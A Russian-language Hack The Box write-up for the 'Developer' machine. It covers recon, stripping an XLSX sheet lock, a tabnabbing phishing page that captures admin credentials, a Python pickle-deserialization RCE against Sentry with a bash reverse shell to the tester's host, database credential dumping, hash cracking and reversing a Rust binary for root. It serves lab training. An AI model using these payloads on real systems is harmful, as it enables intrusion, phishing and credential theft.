Сегодня, с помощью сложной машины Developer с площадки Hack The Box, я покажу как взломать сайт на Django. Кроме того, вы узнаете как вытащить пароль с файла XLS и применить фишинговую атаку Tab Nabbing.
Еще по теме: Взлом сайта на PHP эксплуатируя уязвимость XXE
Статья в образовательных и исследовательских целях. Взлом сайтов без письменного разрешения — серьезное преступление.
Взлом сайта на Django
Для начала добавим IP-адрес машины в /etc/hosts:
1 |
10.10.11.103 developer.htb |
Начнем со сканирования портов. Это стандартная операция при любом пентесте. Сканирование портов позволит определить, какие службы на машине принимают соединение.
Самый популярный сканер — это Nmap. Следующий скрипт улучшит результаты сканирования:
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Скрипт находит два открытых порта:
- 80 — отвечает за веб
- 22 — на нем работает SSH
Справка: брут учетых записей
Нет смысле изучать службы, поскольку у нас пока нет учетных данных, которые всегда требуют авторизацию (например, SSH). Единственное, что можно сделать — это перебирать пароли брутом, но у машин с Hack The Box почти всегда есть другое сценарий прохождения. В реальности таких вариантов может не быть, к тому же есть шансы подобрать пароль или добыть его с помощью социальной инженерии.
Начинаем, разумеется, с веба!
Нас встречает сайт какой‑то площадки CTF (Capture The Flag). Видим возможность регистрации и авторизации, но, что интересно, нет ни одного файла на PHP. Может, это фреймворк на Python? Проверим догадку, просканировав скрытые директории в корневом каталоге сайта.
Сканирование веба c ffuf
Первое действие при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов. Для этой цели вы можете использовать программы вроде DIRB и dirsearch.
Мне нравится легкий и очень быстрый ffuf. Параметры запуска:
- -w — словарь (лично я предпочитаю словари из SecLists);
- -fc — исключить из результата ответы с кодом 403;
- -u — URL;
- -t — количество потоков.
Команда выходит следующая:
1 |
ffuf -u http://developer.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt |
В выводе будет очень много каталогов с кодом 301 — редирект. При переходе по ним, то нас встречает админка фреймворка Django.
Больше ничего не найдя, регимся на первом сайте.
На вебсайте лежит по два‑три таска из разных категорий, но меня заинтересовала страница с настройками профиля пользователя.
Сканирование текстовых полей не дает никакого результата. Попробуем сдать любой из тасков. Я решил просмотреть задание на форензику phished_credentials. По условиям задания, где‑то в файле находится пароль.
Точка входа
После открытия файла, видим скрытый столбец E. Раздвинуть столбцы не получается, так как документ защищен паролем от изменения.
Обойти такую защиту дело простое. Открываем как архив и находим в нем настройки для нужного листа. Так как в нашем случае он только один, нам нужен файл sheet1.xml.
В данном файле находим и удаляем эту строку (поле sheetProtection):
1 |
<sheetProtection algorithmName="SHA-512" hashValue="Y4Ko7kZUKStIxaVGWEtuMeRdnCiN7O3D8qZtKdo/2jP7WE6yzKQXUcSWQ/E0OrqHCzhOBFX+t8Db5Pxaiu+N1g==" saltValue="EoiHQklf0FagPs+iW0OzkA==" spinCount="100000" sheet="1" objects="1" scenarios="1"/> |
Сохраняем файл и открываем документ. Теперь защиты нет. Раздвигаем столбец E и находим флаг для площадки.
Осталось ввести его в форму на сайте.
Теперь, после обновления страницы вид немного изменился, вместо кнопки сдачи ответа появилась кнопка отправки решения.
Причем не через загрузку файла, а с помощью указания URL страницы.
Открываем локальный веб‑сервер Python 3 (команда python3 -m http.server 80) и отправяем ссылку:
1 |
http://10.10.14.59/writeup.html |
В логах веб‑сервера находим обращение к указанной странице. Это место для теста!
Ко всему прочему решение отображается на странице профиля.
Вот только если попытаться просмотреть его, оно откроется в новой вкладке. В исходном коде страницы находим атрибут target="_blank" в теге <а>.
Когда аргумент href тега <а> с атрибутом target="_blank" нам подконтролен и целевой пользователь может перейти по ссылке, есть шанс указать там фишинговый сайт.
Как только пользователь нажмет ссылку, с помощью объекта window.opener мы перенаправляем его на наш вредоносный ресурс, который будет содержать клон легитимной страницы авторизации. Это должно заставить пользователя вбить свои учетные данные. Эта техника фишинга называется Tab Nabbing.
Создадим в каталоге веб‑сервера файл writeup.html со следующим содержимым.
1 2 3 4 5 6 |
<html> <script> if (window.opener) window.opener.parent.location.replace('http://10.10.14.59/login.html'); if (window.parent != window) window.parent.location.replace('http://10.10.14.59/login.html'); </script> </html> |
Этот код должен открыть страницу login.html на нашем сервере. Теперь клонируем страницу авторизации на сайте. Для этого я использую расширение SingleFile для браузера Firefox, позволяющее сохранить всю страницу в едином HTML-файле.
Сохраним файл как login.html и немного изменим его код. Указываем атрибуты action="auth.php" и method="get".
Теперь снова отправим решение задания и в логах веб‑сервера увидим его запрос, затем перенаправление на login.html и отправку учетных данных на auth.php.
Эти учетные данные позволяют авторизоваться в админке Django.
Точка опоры
Пройдемся по разделам, чтобы извлечь всю полезную информацию. Тут мы можем получить список пользователей и сайтов.
Так как мы получили новое доменное имя, сразу добавим его в /etc/hosts. Теперь наша запись будет выглядеть так:
1 |
10.10.11.103 developer.htb developer-sentry.developer.htb |
А на самом сайте Sentry нас встретит форма авторизации.
У нас есть пароль администратора одного сервиса, высока вероятность, что этот пароль подойдет и тут. Вопрос лишь в имени пользователя. Логин admin оказался неверным; если вписать полную почту admin@developer.htb или admin@developer.ctf, тоже ничего не получаем. Но у администратора указано имя James. Пробуем почту james@developer.htb и получаем доступ к сайту.
Внизу видим номер версии Sentry — 8.0.0. Это не самая новая, поэтому стоит поискать эксплоиты. Так Google приводит нас на Exploit-DB, а точнее — к эксплоиту для версии 8.2.0.
Эксплоит отрабатывает, но ничего не дает.
1 |
python3 50318.py --url 'http://developer-sentry.developer.htb' -U 'jacob@developer.htb' -P 'SuperSecurePassword@HTB2021' -l 10.10.14.59 -p 4321 |
Поэтому пробуем вручную.
Sentry использует модуль pickle, нужный для сериализации и десериализации данных Python. Это может помочь добиться выполнения кода, но сначала нам нужен секретный ключ Django.
Его можно получить, создав и удалив проект: Create Project → Add Project → Save Project → Project Setting → Remove Project.
И мы получим нужные конфигурации. Пролистаем до пункта SENTRY_OPTIONS и сохраним секретный ключ (параметр system.secret-key).
Имея секретный ключ, мы можем использовать следующий PoC для создания и сериализации объекта, который выполнит нужный нам код. Все, что нужно в нем изменить, — это значения SECRET_KEY и cookie. В качестве нагрузки используем реверс‑шелл:
1 |
/bin/bash -c "bash -i >& /dev/tcp/10.10.14.59/4321 0>&1" |
1 2 3 4 5 6 7 8 9 10 11 12 13 |
#!/usr/bin/python import django.core.signing, django.contrib.sessions.serializers from django.http import HttpResponse import cPickle import os SECRET_KEY='c7f3a64aa184b7cbb1a7cbe9cd544913' cookie='.eJxrYKotZNQI5UxMLsksS80vSi9kimBjYGAoTs0rKaosZA5lKS5NyY_gAQoZRBnmmGUlBbq7FhVFcAEFSlKLS5Lz87MzU8FayvOLslNTQoXiE0tLMuJLi1OL4pMSk7NT81JClSDG6ZWWZOYU64Hk9VxzEzNzHIEsJ6gaXiR9mSnerKV6AOVwM6Y:1n8lto:4YBeYgMOt1ujubTsANFkmRr3fw4' newContent = django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies') class PickleRce(object): def __reduce__(self): return (os.system,('/bin/bash -c "bash -i >& /dev/tcp/10.10.14.59/4321 0>&1"',)) newContent['testcookie'] = PickleRce() print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True) |
Активируем на своем локальном хосте листенер.
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
1 |
sudo apt install rlwrap |
В качестве самого листенера при этом можно использовать широко известный netcat.
Команда будет следующей:
1 |
rlwrap -cAr nc -lvnp 4321 |
Вставляем новые cookie, обновляем страницу и в окне листенера получаем бэкконнект.
Продвижение
Первым делом получаем удобную TTY-оболочку с помощью Python:
1 |
python -c 'import pty;pty.spawn("/bin/bash")' |
При продвижении самый вероятный способ сменить рабочий контекст — это авторизоваться от имени другого пользователя. Так как у нас даже два сайта на хосте, нам стоит поискать учетные данные в их базах. Прежде чем шерстить базу, найдем учетные данные для подключения к этой базе. В случае с первым сайтом это файл:
1 |
/var/www/developer_ctf/developer_ctf/settings.py |
Теперь подключимся к базе c помощью psql — утилиты командной строки для работы с PostgreSQL.
1 |
psql postgresql://ctf_admin:CTFOG2021@localhost:5432/platform |
После подключения взглянем на список таблиц, для этого используется команда \dt.
Нас интересует таблица auth_user, из которой получим логины и пароли.
1 |
select username,password from auth_user; |
Но с этими учетными данными нигде залогиниться не получилось. Тогда изучим Sentry. Настройки для подключения к базе данных хранятся в файле:
1 |
/etc/sentry/sentry.conf.py |
Опять подключаемся к базе и просматриваем существующие таблицы.
1 2 |
psql postgresql://sentry:SentryPassword2021@localhost:5432/sentry \dt |
Вновь получаем учетные данные из таблицы auth_user.
1 |
select username,password from auth_user; |
Сохраняем хеши в файл и отправляем на перебор с помощью hashcat.
1 |
hashcat -m 10000 hashes.txt rockyou.txt |
Спустя несколько минут мы получаем один пароль, с которым удается авторизоваться по SSH.
Повышение привилегий
Первым делом проверяем наиболее вероятные места повышения привилегий. Это могут быть настройки sudoers, приложения с битом SUID, прослушиваемые на локальном хосте порты. Нам везет с sudoers.
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
В настройках sudoers прописан привилегированный запуск пользовательского приложения /root/.auth/authenticator. Узнаем тип файла с помощью утилиты file.
Это исполняемый файл, который при запуске попросит пароль. Скачиваем файл на локальный хост:
1 |
scp karl@developer.htb:/root/.auth/authenticator ./ |
Закидываем его для анализа в любой удобный дизассемблер. На этот раз я решил попробовать Ghidra.
Еще по теме: Использование фреймворка Ghidra
При поиске функции main я понял, что программа написана на языке Rust, а это усложняет анализ.
Открываем в декомпиляторе найденную функцию authentication::main и в ней находим точку, где запрашивается пароль.
Чуть ниже находим использование шифрования ( crypto::aes::ctr), а именно алгоритм AES, режим CTR.
И еще ниже видим сообщение об успешной аутентификации.
Таким образом, введенная нами строка будет сравниваться с прообразом сохраненных в программе зашифрованных данных. Попробуем найти все параметры, необходимые для шифрования (строка, ключ, вектор инициализации), и расшифровать пароль.
Из документации узнаем аргументы функции crypto::aes::ctr.
То есть сначала передается ключ, а потом вектор инициализации. Изменив имена переменных, легко найдем их в коде.
А нужная нам строка сохранена в переменной __ptr. Используя все данные и суперинструмент CyberChef, мы можем расшифровать данные и пароль.
Используем этот пароль в приложении. Проверка пройдена, нас просят указать ключ SSH (генерируем командой ssh-keygen).
Теперь мы можем авторизоваться с приватным ключом и забрать флаг рута.
Заключение
Мы захватили машину и имеем над ней полный контроль!
Еще по теме:
- Эксплуатация бэкдора PHP на виртуалке Knife HackTheBox
- Форензик кейс взлома веб-сервера с Linux Apache и Drupal